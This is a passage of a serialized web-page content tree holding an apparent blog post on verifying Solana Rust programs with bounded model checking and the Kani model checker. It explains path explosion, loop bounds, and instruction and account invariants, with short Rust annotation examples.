branch:\n",{"type":26,"tag":475,"props":19455,"children":19456},{"class":477,"line":845},[19457,19461,19465],{"type":26,"tag":475,"props":19458,"children":19459},{"style":499},[19460],{"type":32,"value":19301},{"type":26,"tag":475,"props":19462,"children":19463},{"style":714},[19464],{"type":32,"value":786},{"type":26,"tag":475,"props":19466,"children":19467},{"style":499},[19468],{"type":32,"value":19310},{"type":26,"tag":475,"props":19470,"children":19471},{"class":477,"line":854},[19472,19476,19480,19484,19488,19492],{"type":26,"tag":475,"props":19473,"children":19474},{"style":499},[19475],{"type":32,"value":19318},{"type":26,"tag":475,"props":19477,"children":19478},{"style":714},[19479],{"type":32,"value":8287},{"type":26,"tag":475,"props":19481,"children":19482},{"style":499},[19483],{"type":32,"value":18798},{"type":26,"tag":475,"props":19485,"children":19486},{"style":714},[19487],{"type":32,"value":1106},{"type":26,"tag":475,"props":19489,"children":19490},{"style":903},[19491],{"type":32,"value":18807},{"type":26,"tag":475,"props":19493,"children":19494},{"style":499},[19495],{"type":32,"value":647},{"type":26,"tag":475,"props":19497,"children":19498},{"class":477,"line":862},[19499,19503,19507,19511],{"type":26,"tag":475,"props":19500,"children":19501},{"style":499},[19502],{"type":32,"value":19318},{"type":26,"tag":475,"props":19504,"children":19505},{"style":714},[19506],{"type":32,"value":19123},{"type":26,"tag":475,"props":19508,"children":19509},{"style":903},[19510],{"type":32,"value":18844},{"type":26,"tag":475,"props":19512,"children":19513},{"style":499},[19514],{"type":32,"value":647},{"type":26,"tag":475,"props":19516,"children":19517},{"class":477,"line":885},[19518,19522,19526,19530,19534,19538],{"type":26,"tag":475,"props":19519,"children":19520},{"style":499},[19521],{"type":32,"value":19365},{"type":26,"tag":475,"props":19523,"children":19524},{"style":714},[19525],{"type":32,"value":8287},{"type":26,"tag":475,"props":19527,"children":19528},{"style":499},[19529],{"type":32,"value":4225},{"type":26,"tag":475,"props":19531,"children":19532},{"style":714},[19533],{"type":32,"value":1106},{"type":26,"tag":475,"props":19535,"children":19536},{"style":903},[19537],{"type":32,"value":4234},{"type":26,"tag":475,"props":19539,"children":19540},{"style":499},[19541],{"type":32,"value":647},{"type":26,"tag":475,"props":19543,"children":19544},{"class":477,"line":913},[19545],{"type":26,"tag":475,"props":19546,"children":19547},{"emptyLinePlaceholder":18},[19548],{"type":32,"value":545},{"type":26,"tag":475,"props":19550,"children":19551},{"class":477,"line":926},[19552],{"type":26,"tag":475,"props":19553,"children":19554},{"style":552},[19555],{"type":32,"value":19400},{"type":26,"tag":475,"props":19557,"children":19558},{"class":477,"line":948},[19559,19563,19567,19571],{"type":26,"tag":475,"props":19560,"children":19561},{"style":499},[19562],{"type":32,"value":19408},{"type":26,"tag":475,"props":19564,"children":19565},{"style":714},[19566],{"type":32,"value":15394},{"type":26,"tag":475,"props":19568,"children":19569},{"style":903},[19570],{"type":32,"value":18962},{"type":26,"tag":475,"props":19572,"children":19573},{"style":499},[19574],{"type":32,"value":1510},{"type":26,"tag":475,"props":19576,"children":19577},{"class":477,"line":966},[19578,19582,19586],{"type":26,"tag":475,"props":19579,"children":19580},{"style":493},[19581],{"type":32,"value":19428},{"type":26,"tag":475,"props":19583,"children":19584},{"style":499},[19585],{"type":32,"value":19433},{"type":26,"tag":475,"props":19587,"children":19588},{"style":552},[19589],{"type":32,"value":19438},{"type":26,"tag":35,"props":19591,"children":19592},{},[19593,19595,19601,19603,19608],{"type":32,"value":19594},"Both of these cases return ",{"type":26,"tag":53,"props":19596,"children":19598},{"className":19597},[],[19599],{"type":32,"value":19600},"unsat",{"type":32,"value":19602}," meaning z3 could not find a way to violate the correctness property, hence our program is ",{"type":26,"tag":2615,"props":19604,"children":19605},{},[19606],{"type":32,"value":19607},"correct",{"type":32,"value":19609}," according to this property.",{"type":26,"tag":41,"props":19611,"children":19613},{"id":19612},"loop-bounds-path-explosion",[19614],{"type":32,"value":19615},"Loop bounds & path explosion",{"type":26,"tag":35,"props":19617,"children":19618},{},[19619,19621,19626,19628,19633],{"type":32,"value":19620},"As you may have noticed, BMC requires us to take ",{"type":26,"tag":2615,"props":19622,"children":19623},{},[19624],{"type":32,"value":19625},"every",{"type":32,"value":19627}," branch in the program. To be sure that our property holds, we need to check every possible route through the program. If we have 10 branches in a row we might need to test 2^10 paths! And if our program has loops, we may need to check an ",{"type":26,"tag":2615,"props":19629,"children":19630},{},[19631],{"type":32,"value":19632},"infinite",{"type":32,"value":19634}," number of paths because the loop branches backward. This might take a while...",{"type":26,"tag":35,"props":19636,"children":19637},{},[19638],{"type":32,"value":19639},"This is where the \"bounded\" part of \"bounded model checking\" applies. Rather than unroll an infinite number of loops, we can set a loop bound and also verify that it is not possible to loop more than the loop bound.",{"type":26,"tag":35,"props":19641,"children":19642},{},[19643],{"type":32,"value":19644},"While this technique of bounding loops makes the problem tractable. It is still expensive to run BMC on very large programs due to the problem of path explosion. As our program gets larger, the number of possible paths scales potentially exponentially.",{"type":26,"tag":35,"props":19646,"children":19647},{},[19648],{"type":32,"value":19649},"One of the main challenges we will discuss later is how to address this problem of path explosion in the context of Solana Rust programs.",{"type":26,"tag":41,"props":19651,"children":19653},{"id":19652},"kani-model-checker",[19654],{"type":32,"value":19655},"Kani Model Checker",{"type":26,"tag":35,"props":19657,"children":19658},{},[19659,19661,19666],{"type":32,"value":19660},"For our research with formally verifying Solana programs, we are using the ",{"type":26,"tag":116,"props":19662,"children":19664},{"href":18556,"rel":19663},[120],[19665],{"type":32,"value":18560},{"type":32,"value":19667},": an open-source, bit-precise model checker for Rust created at AWS. Under the hood, Kani uses the C Bounded Model Checker (CBMC) to do the heavy lifting.",{"type":26,"tag":35,"props":19669,"children":19670},{},[19671,19673,19678,19680,19686,19687,19693,19695,19701],{"type":32,"value":19672},"Kani allows you to write ",{"type":26,"tag":2615,"props":19674,"children":19675},{},[19676],{"type":32,"value":19677},"proof harnesses",{"type":32,"value":19679}," which can invoke Rust functions with symbolic values. These harnesses can ",{"type":26,"tag":53,"props":19681,"children":19683},{"className":19682},[],[19684],{"type":32,"value":19685},"assume",{"type":32,"value":209},{"type":26,"tag":53,"props":19688,"children":19690},{"className":19689},[],[19691],{"type":32,"value":19692},"assert",{"type":32,"value":19694}," certain conditions about these symbolic values and then you can verify that a proof harness holds via the ",{"type":26,"tag":53,"props":19696,"children":19698},{"className":19697},[],[19699],{"type":32,"value":19700},"cargo kani",{"type":32,"value":19702}," tool (which compiles your proof harness and runs BMC).",{"type":26,"tag":27,"props":19704,"children":19706},{"id":19705},"specification-how-can-we-describe-what-we-want-our-program-to-do",[19707,19709,19713],{"type":32,"value":19708},"Specification: How can we describe what we ",{"type":26,"tag":2615,"props":19710,"children":19711},{},[19712],{"type":32,"value":18629},{"type":32,"value":18631},{"type":26,"tag":35,"props":19715,"children":19716},{},[19717],{"type":26,"tag":2615,"props":19718,"children":19719},{},[19720],{"type":26,"tag":105,"props":19721,"children":19722},{},[19723],{"type":32,"value":19724},"And what even do we want it to do?",{"type":26,"tag":35,"props":19726,"children":19727},{},[19728,19730,19735],{"type":32,"value":19729},"A fundamental challenge with any formal verification framework is ",{"type":26,"tag":2615,"props":19731,"children":19732},{},[19733],{"type":32,"value":19734},"specifying",{"type":32,"value":19736}," what the \"correct\" behavior should be.",{"type":26,"tag":35,"props":19738,"children":19739},{},[19740],{"type":32,"value":19741},"In natural language, we can describe a few good properties for example Solana programs:",{"type":26,"tag":82,"props":19743,"children":19744},{},[19745,19757,19768],{"type":26,"tag":86,"props":19746,"children":19747},{},[19748,19750,19755],{"type":32,"value":19749},"\"It should not be possible to ",{"type":26,"tag":105,"props":19751,"children":19752},{},[19753],{"type":32,"value":19754},"steal money",{"type":32,"value":19756}," via a swap program\"",{"type":26,"tag":86,"props":19758,"children":19759},{},[19760,19762,19767],{"type":32,"value":19761},"\"A multisig should never get into a state where you ",{"type":26,"tag":105,"props":19763,"children":19764},{},[19765],{"type":32,"value":19766},"can't sign anything",{"type":32,"value":727},{"type":26,"tag":86,"props":19769,"children":19770},{},[19771],{"type":32,"value":19772},"\"User funds in a staking protocol \"",{"type":26,"tag":35,"props":19774,"children":19775},{},[19776,19778,19788,19790,19795],{"type":32,"value":19777},"These are types of properties you can tell your ",{"type":26,"tag":116,"props":19779,"children":19782},{"href":19780,"rel":19781},"https://osec.io/",[120],[19783],{"type":26,"tag":2615,"props":19784,"children":19785},{},[19786],{"type":32,"value":19787},"human auditors",{"type":32,"value":19789}," but these English phrases are not particularly useful for ",{"type":26,"tag":2615,"props":19791,"children":19792},{},[19793],{"type":32,"value":19794},"automated verification techniques",{"type":32,"value":19796}," (at least until our AI overlords surpass human intelligence).",{"type":26,"tag":35,"props":19798,"children":19799},{},[19800,19802,19807,19809,19814],{"type":32,"value":19801},"Instead, we need to be able to specify ",{"type":26,"tag":2615,"props":19803,"children":19804},{},[19805],{"type":32,"value":19806},"in code",{"type":32,"value":19808}," what properties we want to check. Ideally, we could define invariants that fit nicely into something like an ",{"type":26,"tag":53,"props":19810,"children":19812},{"className":19811},[],[19813],{"type":32,"value":19692},{"type":32,"value":19815}," statement.",{"type":26,"tag":41,"props":19817,"children":19819},{"id":19818},"solana-invariants",[19820],{"type":32,"value":19821},"Solana Invariants",{"type":26,"tag":35,"props":19823,"children":19824},{},[19825,19827,19832,19833,19838],{"type":32,"value":19826},"In the context of Solana programs we define two different types of properties that we would like to verify: ",{"type":26,"tag":105,"props":19828,"children":19829},{},[19830],{"type":32,"value":19831},"instruction invariants",{"type":32,"value":209},{"type":26,"tag":105,"props":19834,"children":19835},{},[19836],{"type":32,"value":19837},"account invariants",{"type":32,"value":353},{"type":26,"tag":70,"props":19840,"children":19842},{"id":19841},"instruction-invariant",[19843],{"type":32,"value":19844},"Instruction Invariant",{"type":26,"tag":35,"props":19846,"children":19847},{},[19848,19850,19855,19857,19863,19864,19870],{"type":32,"value":19849},"An ",{"type":26,"tag":105,"props":19851,"children":19852},{},[19853],{"type":32,"value":19854},"instruction invariant",{"type":32,"value":19856}," specifies sufficient conditions for an instruction to succeed (or fail). These are specified as ",{"type":26,"tag":53,"props":19858,"children":19860},{"className":19859},[],[19861],{"type":32,"value":19862},"succeeds_if",{"type":32,"value":455},{"type":26,"tag":53,"props":19865,"children":19867},{"className":19866},[],[19868],{"type":32,"value":19869},"errors_if",{"type":32,"value":19871}," macro annotations on the instruction handler.",{"type":26,"tag":35,"props":19873,"children":19874},{},[19875],{"type":32,"value":19876},"In Solana, when an instruction fails, the entire transaction is reverted. Failing an instruction on purpose is commonly used as a form of access control; invalid accounts, bad state, etc... will cause an instruction to fail and get reverted.",{"type":26,"tag":35,"props":19878,"children":19879},{},[19880,19882,19888,19890,19895],{"type":32,"value":19881},"For example, say we have a ",{"type":26,"tag":53,"props":19883,"children":19885},{"className":19884},[],[19886],{"type":32,"value":19887},"Withdraw",{"type":32,"value":19889}," instruction that lets a user withdraw some tokens. A security critical property we may want to verify is that the user cannot withdraw ",{"type":26,"tag":2615,"props":19891,"children":19892},{},[19893],{"type":32,"value":19894},"more",{"type":32,"value":19896}," tokens than their current balance.",{"type":26,"tag":35,"props":19898,"children":19899},{},[19900,19902,19907],{"type":32,"value":19901},"Using our tool, you could specify the following ",{"type":26,"tag":53,"props":19903,"children":19905},{"className":19904},[],[19906],{"type":32,"value":19869},{"type":32,"value":19908}," property on your instruction handler:",{"type":26,"tag":465,"props":19910,"children":19912},{"code":19911,"language":2684,"meta":7,"className":2685,"style":7},"#[errors_if(\n ctx.user.balance \u003C amount\n)]\nfn withdraw(ctx: Context\u003CWithdraw>, amount: u64) -> Result\u003C()> {\n ...\n}\n",[19913],{"type":26,"tag":53,"props":19914,"children":19915},{"__ignoreMap":7},[19916,19924,19959,19967,20040,20048],{"type":26,"tag":475,"props":19917,"children":19918},{"class":477,"line":478},[19919],{"type":26,"tag":475,"props":19920,"children":19921},{"style":499},[19922],{"type":32,"value":19923},"#[errors_if(\n",{"type":26,"tag":475,"props":19925,"children":19926},{"class":477,"line":516},[19927,19932,19936,19941,19945,19950,19954],{"type":26,"tag":475,"props":19928,"children":19929},{"style":499},[19930],{"type":32,"value":19931}," ctx",{"type":26,"tag":475,"props":19933,"children":19934},{"style":714},[19935],{"type":32,"value":353},{"type":26,"tag":475,"props":19937,"children":19938},{"style":499},[19939],{"type":32,"value":19940},"user",{"type":26,"tag":475,"props":19942,"children":19943},{"style":714},[19944],{"type":32,"value":353},{"type":26,"tag":475,"props":19946,"children":19947},{"style":499},[19948],{"type":32,"value":19949},"balance ",{"type":26,"tag":475,"props":19951,"children":19952},{"style":714},[19953],{"type":32,"value":5519},{"type":26,"tag":475,"props":19955,"children":19956},{"style":499},[19957],{"type":32,"value":19958}," amount\n",{"type":26,"tag":475,"props":19960,"children":19961},{"class":477,"line":539},[19962],{"type":26,"tag":475,"props":19963,"children":19964},{"style":499},[19965],{"type":32,"value":19966},")]\n",{"type":26,"tag":475,"props":19968,"children":19969},{"class":477,"line":548},[19970,19975,19980,19984,19989,19993,19998,20002,20006,20010,20015,20019,20023,20027,20031,20035],{"type":26,"tag":475,"props":19971,"children":19972},{"style":482},[19973],{"type":32,"value":19974},"fn",{"type":26,"tag":475,"props":19976,"children":19977},{"style":493},[19978],{"type":32,"value":19979}," withdraw",{"type":26,"tag":475,"props":19981,"children":19982},{"style":499},[19983],{"type":32,"value":626},{"type":26,"tag":475,"props":19985,"children":19986},{"style":2375},[19987],{"type":32,"value":19988},"ctx",{"type":26,"tag":475,"props":19990,"children":19991},{"style":714},[19992],{"type":32,"value":179},{"type":26,"tag":475,"props":19994,"children":19995},{"style":505},[19996],{"type":32,"value":19997}," Context",{"type":26,"tag":475,"props":19999,"children":20000},{"style":499},[20001],{"type":32,"value":5519},{"type":26,"tag":475,"props":20003,"children":20004},{"style":505},[20005],{"type":32,"value":19887},{"type":26,"tag":475,"props":20007,"children":20008},{"style":499},[20009],{"type":32,"value":6344},{"type":26,"tag":475,"props":20011,"children":20012},{"style":2375},[20013],{"type":32,"value":20014},"amount",{"type":26,"tag":475,"props":20016,"children":20017},{"style":714},[20018],{"type":32,"value":179},{"type":26,"tag":475,"props":20020,"children":20021},{"style":505},[20022],{"type":32,"value":5573},{"type":26,"tag":475,"props":20024,"children":20025},{"style":499},[20026],{"type":32,"value":2794},{"type":26,"tag":475,"props":20028,"children":20029},{"style":714},[20030],{"type":32,"value":13464},{"type":26,"tag":475,"props":20032,"children":20033},{"style":505},[20034],{"type":32,"value":13469},{"type":26,"tag":475,"props":20036,"children":20037},{"style":499},[20038],{"type":32,"value":20039},"\u003C()> {\n",{"type":26,"tag":475,"props":20041,"children":20042},{"class":477,"line":558},[20043],{"type":26,"tag":475,"props":20044,"children":20045},{"style":714},[20046],{"type":32,"value":20047}," ...\n",{"type":26,"tag":475,"props":20049,"children":20050},{"class":477,"line":582},[20051],{"type":26,"tag":475,"props":20052,"children":20053},{"style":499},[20054],{"type":32,"value":3607},{"type":26,"tag":2637,"props":20056,"children":20057},{},[20058],{"type":26,"tag":35,"props":20059,"children":20060},{},[20061,20062,20067,20069,20074,20076,20081],{"type":32,"value":16319},{"type":26,"tag":53,"props":20063,"children":20065},{"className":20064},[],[20066],{"type":32,"value":19869},{"type":32,"value":20068}," expression specifies ",{"type":26,"tag":2615,"props":20070,"children":20071},{},[20072],{"type":32,"value":20073},"succifient",{"type":32,"value":20075}," but not ",{"type":26,"tag":2615,"props":20077,"children":20078},{},[20079],{"type":32,"value":20080},"necessary",{"type":32,"value":20082}," conditions for an instruction to fail. I.e. it imposes a strong lower bound on what the requirements are for an instruction to fail.",{"type":26,"tag":18502,"props":20084,"children":20085},{},[],{"type":26,"tag":35,"props":20087,"children":20088},{},[20089,20091,20096],{"type":32,"value":20090},"Another example is that for ",{"type":26,"tag":2615,"props":20092,"children":20093},{},[20094],{"type":32,"value":20095},"crank",{"type":32,"value":20097}," functions — run by unauthenticated users to advance the state of the system, you may want to prove that they never fail. In that case, you could specify an invariant like the following:",{"type":26,"tag":465,"props":20099,"children":20101},{"code":20100,"language":2684,"meta":7,"className":2685,"style":7},"#[succeeds_if(true)]\nfn my_crank(ctx: Context\u003CCrank>) -> Result\u003C()> {\n ...\n}\n",[20102],{"type":26,"tag":53,"props":20103,"children":20104},{"__ignoreMap":7},[20105,20113,20167,20174],{"type":26,"tag":475,"props":20106,"children":20107},{"class":477,"line":478},[20108],{"type":26,"tag":475,"props":20109,"children":20110},{"style":499},[20111],{"type":32,"value":20112},"#[succeeds_if(true)]\n",{"type":26,"tag":475,"props":20114,"children":20115},{"class":477,"line":516},[20116,20120,20125,20129,20133,20137,20141,20145,20150,20155,20159,20163],{"type":26,"tag":475,"props":20117,"children":20118},{"style":482},[20119],{"type":32,"value":19974},{"type":26,"tag":475,"props":20121,"children":20122},{"style":493},[20123],{"type":32,"value":20124}," my_crank",{"type":26,"tag":475,"props":20126,"children":20127},{"style":499},[20128],{"type":32,"value":626},{"type":26,"tag":475,"props":20130,"children":20131},{"style":2375},[20132],{"type":32,"value":19988},{"type":26,"tag":475,"props":20134,"children":20135},{"style":714},[20136],{"type":32,"value":179},{"type":26,"tag":475,"props":20138,"children":20139},{"style":505},[20140],{"type":32,"value":19997},{"type":26,"tag":475,"props":20142,"children":20143},{"style":499},[20144],{"type":32,"value":5519},{"type":26,"tag":475,"props":20146,"children":20147},{"style":505},[20148],{"type":32,"value":20149},"Crank",{"type":26,"tag":475,"props":20151,"children":20152},{"style":499},[20153],{"type":32,"value":20154},">) ",{"type":26,"tag":475,"props":20156,"children":20157},{"style":714},[20158],{"type":32,"value":13464},{"type":26,"tag":475,"props":20160,"children":20161},{"style":505},[20162],{"type":32,"value":13469},{"type":26,"tag":475,"props":20164,"children":20165},{"style":499},[20166],{"type":32,"value":20039},{"type":26,"tag":475,"props":20168,"children":20169},{"class":477,"line":539},[20170],{"type":26,"tag":475,"props":20171,"children":20172},{"style":714},[20173],{"type":32,"value":20047},{"type":26,"tag":475,"props":20175,"children":20176},{"class":477,"line":548},[20177],{"type":26,"tag":475,"props":20178,"children":20179},{"style":499},[20180],{"type":32,"value":3607},{"type":26,"tag":35,"props":20182,"children":20183},{},[20184,20186,20190,20192,20198],{"type":32,"value":20185},"With this invariant, you could prove that the function ",{"type":26,"tag":2615,"props":20187,"children":20188},{},[20189],{"type":32,"value":12802},{"type":32,"value":20191}," returns ",{"type":26,"tag":53,"props":20193,"children":20195},{"className":20194},[],[20196],{"type":32,"value":20197},"Ok",{"type":32,"value":20199},". This type of construction could help avoid possible denial of service attacks if a crank could get \"stuck.\"",{"type":26,"tag":18502,"props":20201,"children":20202},{},[],{"type":26,"tag":35,"props":20204,"children":20205},{},[20206,20208,20213,20214,20219,20221,20226,20228,20233,20235,20240],{"type":32,"value":20207},"Note that ",{"type":26,"tag":53,"props":20209,"children":20211},{"className":20210},[],[20212],{"type":32,"value":19862},{"type":32,"value":209},{"type":26,"tag":53,"props":20215,"children":20217},{"className":20216},[],[20218],{"type":32,"value":19869},{"type":32,"value":20220}," are both implications and not biconditionals. That is, a function may succeed even if ",{"type":26,"tag":53,"props":20222,"children":20224},{"className":20223},[],[20225],{"type":32,"value":19862},{"type":32,"value":20227}," is not satisfied and a function may fail even if ",{"type":26,"tag":53,"props":20229,"children":20231},{"className":20230},[],[20232],{"type":32,"value":19869},{"type":32,"value":20234}," is not satisfied. If you want to prove the ",{"type":26,"tag":2615,"props":20236,"children":20237},{},[20238],{"type":32,"value":20239},"exact condition",{"type":32,"value":20241}," required for an instruction to succeed, you could use a form like the following:",{"type":26,"tag":465,"props":20243,"children":20245},{"code":20244,"language":2684,"meta":7,"className":2685,"style":7},"fn my_invariant(...) -> bool { ... }\n\n#[succeeds_if(my_invariant(...))]\n#[errors_if(!my_invariant(...))]\nfn my_instruction(ctx: Context\u003C...>) -> Result\u003C()> {\n ...\n}\n",[20246],{"type":26,"tag":53,"props":20247,"children":20248},{"__ignoreMap":7},[20249,20293,20300,20317,20343,20395,20402],{"type":26,"tag":475,"props":20250,"children":20251},{"class":477,"line":478},[20252,20256,20261,20265,20269,20273,20277,20281,20285,20289],{"type":26,"tag":475,"props":20253,"children":20254},{"style":482},[20255],{"type":32,"value":19974},{"type":26,"tag":475,"props":20257,"children":20258},{"style":493},[20259],{"type":32,"value":20260}," my_invariant",{"type":26,"tag":475,"props":20262,"children":20263},{"style":499},[20264],{"type":32,"value":626},{"type":26,"tag":475,"props":20266,"children":20267},{"style":714},[20268],{"type":32,"value":9300},{"type":26,"tag":475,"props":20270,"children":20271},{"style":499},[20272],{"type":32,"value":2794},{"type":26,"tag":475,"props":20274,"children":20275},{"style":714},[20276],{"type":32,"value":13464},{"type":26,"tag":475,"props":20278,"children":20279},{"style":505},[20280],{"type":32,"value":11759},{"type":26,"tag":475,"props":20282,"children":20283},{"style":499},[20284],{"type":32,"value":1101},{"type":26,"tag":475,"props":20286,"children":20287},{"style":714},[20288],{"type":32,"value":9300},{"type":26,"tag":475,"props":20290,"children":20291},{"style":499},[20292],{"type":32,"value":1116},{"type":26,"tag":475,"props":20294,"children":20295},{"class":477,"line":516},[20296],{"type":26,"tag":475,"props":20297,"children":20298},{"emptyLinePlaceholder":18},[20299],{"type":32,"value":545},{"type":26,"tag":475,"props":20301,"children":20302},{"class":477,"line":539},[20303,20308,20312],{"type":26,"tag":475,"props":20304,"children":20305},{"style":499},[20306],{"type":32,"value":20307},"#[succeeds_if(my_invariant(",{"type":26,"tag":475,"props":20309,"children":20310},{"style":714},[20311],{"type":32,"value":9300},{"type":26,"tag":475,"props":20313,"children":20314},{"style":499},[20315],{"type":32,"value":20316},"))]\n",{"type":26,"tag":475,"props":20318,"children":20319},{"class":477,"line":548},[20320,20325,20330,20335,20339],{"type":26,"tag":475,"props":20321,"children":20322},{"style":499},[20323],{"type":32,"value":20324},"#[errors_if(",{"type":26,"tag":475,"props":20326,"children":20327},{"style":714},[20328],{"type":32,"value":20329},"!",{"type":26,"tag":475,"props":20331,"children":20332},{"style":499},[20333],{"type":32,"value":20334},"my_invariant(",{"type":26,"tag":475,"props":20336,"children":20337},{"style":714},[20338],{"type":32,"value":9300},{"type":26,"tag":475,"props":20340,"children":20341},{"style":499},[20342],{"type":32,"value":20316},{"type":26,"tag":475,"props":20344,"children":20345},{"class":477,"line":558},[20346,20350,20355,20359,20363,20367,20371,20375,20379,20383,20387,20391],{"type":26,"tag":475,"props":20347,"children":20348},{"style":482},[20349],{"type":32,"value":19974},{"type":26,"tag":475,"props":20351,"children":20352},{"style":493},[20353],{"type":32,"value":20354}," my_instruction",{"type":26,"tag":475,"props":20356,"children":20357},{"style":499},[20358],{"type":32,"value":626},{"type":26,"tag":475,"props":20360,"children":20361},{"style":2375},[20362],{"type":32,"value":19988},{"type":26,"tag":475,"props":20364,"children":20365},{"style":714},[20366],{"type":32,"value":179},{"type":26,"tag":475,"props":20368,"children":20369},{"style":505},[20370],{"type":32,"value":19997},{"type":26,"tag":475,"props":20372,"children":20373},{"style":499},[20374],{"type":32,"value":5519},{"type":26,"tag":475,"props":20376,"children":20377},{"style":714},[20378],{"type":32,"value":9300},{"type":26,"tag":475,"props":20380,"children":20381},{"style":499},[20382],{"type":32,"value":20154},{"type":26,"tag":475,"props":20384,"children":20385},{"style":714},[20386],{"type":32,"value":13464},{"type":26,"tag":475,"props":20388,"children":20389},{"style":505},[20390],{"type":32,"value":13469},{"type":26,"tag":475,"props":20392,"children":20393},{"style":499},[20394],{"type":32,"value":20039},{"type":26,"tag":475,"props":20396,"children":20397},{"class":477,"line":582},[20398],{"type":26,"tag":475,"props":20399,"children":20400},{"style":714},[20401],{"type":32,"value":20047},{"type":26,"tag":475,"props":20403,"children":20404},{"class":477,"line":596},[20405],{"type":26,"tag":475,"props":20406,"children":20407},{"style":499},[20408],{"type":32,"value":3607},{"type":26,"tag":35,"props":20410,"children":20411},{},[20412],{"type":32,"value":20413},"Note that in practice, it is usually not necessary (or useful) to find the exact condition; rather we can achieve the security properties we want purely by proving upper and lower bounds on instruction success.",{"type":26,"tag":70,"props":20415,"children":20417},{"id":20416},"account-invariants",[20418],{"type":32,"value":20419},"Account Invariants",{"type":26,"tag":35,"props":20421,"children":20422},{},[20423,20425,20430],{"type":32,"value":20424},"The other type of invariant is an ",{"type":26,"tag":105,"props":20426,"children":20427},{},[20428],{"type":32,"value":20429},"Account Invariant",{"type":32,"value":20431},". This invariant describes some property of an account that should always hold.",{"type":26,"tag":35,"props":20433,"children":20434},{},[20435,20437,20442,20443,20449],{"type":32,"value":20436},"In our tool, we verify that the account invariant holds after every instruction that could modify the account data (i.e. if the account is ",{"type":26,"tag":53,"props":20438,"children":20440},{"className":20439},[],[20441],{"type":32,"value":3430},{"type":32,"value":455},{"type":26,"tag":53,"props":20444,"children":20446},{"className":20445},[],[20447],{"type":32,"value":20448},"init",{"type":32,"value":20450},").",{"type":26,"tag":35,"props":20452,"children":20453},{},[20454,20456,20462],{"type":32,"value":20455},"For example, given a mock ",{"type":26,"tag":53,"props":20457,"children":20459},{"className":20458},[],[20460],{"type":32,"value":20461},"UserStatement",{"type":32,"value":20463}," account that represents how much a user owns and owes, we could write an invariant that asserts that the net balance is positive:",{"type":26,"tag":465,"props":20465,"children":20467},{"code":20466,"language":2684,"meta":7,"className":2685,"style":7},"#[account]\n#[invariant(\n self.assets >= self.liabilities\n)]\nstruct UserStatement {\n pub owner: Pubkey,\n pub assets: u64,\n pub liabilities: u64,\n}\n",[20468],{"type":26,"tag":53,"props":20469,"children":20470},{"__ignoreMap":7},[20471,20479,20487,20521,20528,20544,20570,20594,20618],{"type":26,"tag":475,"props":20472,"children":20473},{"class":477,"line":478},[20474],{"type":26,"tag":475,"props":20475,"children":20476},{"style":499},[20477],{"type":32,"value":20478},"#[account]\n",{"type":26,"tag":475,"props":20480,"children":20481},{"class":477,"line":516},[20482],{"type":26,"tag":475,"props":20483,"children":20484},{"style":499},[20485],{"type":32,"value":20486},"#[invariant(\n",{"type":26,"tag":475,"props":20488,"children":20489},{"class":477,"line":539},[20490,20495,20499,20504,20508,20512,20516],{"type":26,"tag":475,"props":20491,"children":20492},{"style":499},[20493],{"type":32,"value":20494}," self",{"type":26,"tag":475,"props":20496,"children":20497},{"style":714},[20498],{"type":32,"value":353},{"type":26,"tag":475,"props":20500,"children":20501},{"style":499},[20502],{"type":32,"value":20503},"assets ",{"type":26,"tag":475,"props":20505,"children":20506},{"style":714},[20507],{"type":32,"value":9652},{"type":26,"tag":475,"props":20509,"children":20510},{"style":499},[20511],{"type":32,"value":13504},{"type":26,"tag":475,"props":20513,"children":20514},{"style":714},[20515],{"type":32,"value":353},{"type":26,"tag":475,"props":20517,"children":20518},{"style":499},[20519],{"type":32,"value":20520},"liabilities\n",{"type":26,"tag":475,"props":20522,"children":20523},{"class":477,"line":548},[20524],{"type":26,"tag":475,"props":20525,"children":20526},{"style":499},[20527],{"type":32,"value":19966},{"type":26,"tag":475,"props":20529,"children":20530},{"class":477,"line":558},[20531,20535,20540],{"type":26,"tag":475,"props":20532,"children":20533},{"style":482},[20534],{"type":32,"value":9111},{"type":26,"tag":475,"props":20536,"children":20537},{"style":505},[20538],{"type":32,"value":20539}," UserStatement",{"type":26,"tag":475,"props":20541,"children":20542},{"style":499},[20543],{"type":32,"value":579},{"type":26,"tag":475,"props":20545,"children":20546},{"class":477,"line":582},[20547,20552,20557,20561,20566],{"type":26,"tag":475,"props":20548,"children":20549},{"style":482},[20550],{"type":32,"value":20551}," pub",{"type":26,"tag":475,"props":20553,"children":20554},{"style":2375},[20555],{"type":32,"value":20556}," owner",{"type":26,"tag":475,"props":20558,"children":20559},{"style":714},[20560],{"type":32,"value":179},{"type":26,"tag":475,"props":20562,"children":20563},{"style":505},[20564],{"type":32,"value":20565}," Pubkey",{"type":26,"tag":475,"props":20567,"children":20568},{"style":499},[20569],{"type":32,"value":2425},{"type":26,"tag":475,"props":20571,"children":20572},{"class":477,"line":596},[20573,20577,20582,20586,20590],{"type":26,"tag":475,"props":20574,"children":20575},{"style":482},[20576],{"type":32,"value":20551},{"type":26,"tag":475,"props":20578,"children":20579},{"style":2375},[20580],{"type":32,"value":20581}," assets",{"type":26,"tag":475,"props":20583,"children":20584},{"style":714},[20585],{"type":32,"value":179},{"type":26,"tag":475,"props":20587,"children":20588},{"style":505},[20589],{"type":32,"value":5573},{"type":26,"tag":475,"props":20591,"children":20592},{"style":499},[20593],{"type":32,"value":2425},{"type":26,"tag":475,"props":20595,"children":20596},{"class":477,"line":610},[20597,20601,20606,20610,20614],{"type":26,"tag":475,"props":20598,"children":20599},{"style":482},[20600],{"type":32,"value":20551},{"type":26,"tag":475,"props":20602,"children":20603},{"style":2375},[20604],{"type":32,"value":20605}," liabilities",{"type":26,"tag":475,"props":20607,"children":20608},{"style":714},[20609],{"type":32,"value":179},{"type":26,"tag":475,"props":20611,"children":20612},{"style":505},[20613],{"type":32,"value":5573},{"type":26,"tag":475,"props":20615,"children":20616},{"style":499},[20617],{"type":32,"value":2425},{"type":26,"tag":475,"props":20619,"children":20620},{"class":477,"line":650},[20621],{"type":26,"tag":475,"props":20622,"children":20623},{"style":499},[20624],{"type":32,"value":3607},{"type":26,"tag":35,"props":20626,"children":20627},{},[20628,20630,20635],{"type":32,"value":20629},"Our tool automatically generates the relevant harnesses to ensure that this property holds every time an account of type ",{"type":26,"tag":53,"props":20631,"children":20633},{"className":20632},[],[20634],{"type":32,"value":20461},{"type":32,"value":20636}," is created or modified.",{"type":26,"tag":35,"props":20638,"children":20639},{},[20640,20642,20648],{"type":32,"value":20641},"In another example, we developed the following invariant for the ",{"type":26,"tag":116,"props":20643,"children":20645},{"href":18533,"rel":20644},[120],[20646],{"type":32,"value":20647},"Squads Multisig",{"type":32,"value":20649}," 